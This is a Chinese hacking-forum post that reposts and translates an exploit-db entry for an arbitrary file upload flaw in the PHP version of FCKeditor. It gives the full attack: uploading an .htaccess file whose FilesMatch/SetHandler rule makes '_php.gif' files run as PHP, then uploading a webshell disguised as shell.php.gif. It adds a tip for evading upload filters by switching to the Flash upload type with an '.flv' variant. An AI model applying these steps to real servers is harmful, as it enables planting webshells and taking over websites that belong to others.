找回密码
 注册
首页 ≡≡网络技术≡≡ 网络技术 Fckeditor PHP版本爆出新漏洞了~

黑客安全 Fckeditor PHP版本爆出新漏洞了~

灰儿 2014-6-4 11:48:35
【转】Fckeditor PHP版本爆出新漏洞了~In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability[+] Date: 2011[+] script:http://sourceforge.net/projects/fckeditor/[+] Author  : pentesters.ir[+] Website : WwW.PenTesters.IR--------------- ... -----------1.create a htaccess file:code: <FilesMatch "_php.gif">SetHandler application/x-httpd-php</FilesMatch> 2.Now upload this htaccess with FCKeditor.http://target.com/FCKeditor/editor/filemanager/upload/test.html[url]http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html----------------------------------------------------------------------------------------------3.Now[/url] upload shell.php.gif with FCKeditor.4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.5.6.Now shell is available from server. ---------------------------------------------------------
http://www.exploit-db.com/exploits/17644/
这个是exploit-db上的原文,我就是个翻译一下
1.首先在本地创建一个.htaccess(注意前面有个点),内容为:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php </FilesMatch>
2.然后用fckeditor把这个文件上传上去(至于FCKEDITOR如何上传这里不再赘述)
3.创建一个webshell,比如phpspy什么的,然后把后缀名改成shell.php.gif,上传上去。(可以用GIF文件头欺骗,不过有的过滤很严,可能上不上去,最后我会说一种方法,上传成功率高些)
4.文件名会变成shell_php.gif,访问这个文件,就会发现,你已经得到webshell

写在最后:
这个漏洞的还是很有局限性的,只适用于PHP的fck,而且还必须是apache之类的服务器,IIS什么的都不行。
还有就是有些人可能会遇到在上传图片的时候,fckeditor报错,说是错误的文件什么的,这里有个方法:
可以换种上传类型,用Flash上传就不会碰到类似的限制,不过.htaccess文件的内容也要改改,还有shell的文件名
<FilesMatch "_php.flv">
SetHandler application/x-httpd-php </FilesMatch>
shell的名字改成shell.php.flv 这样就可以了

您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。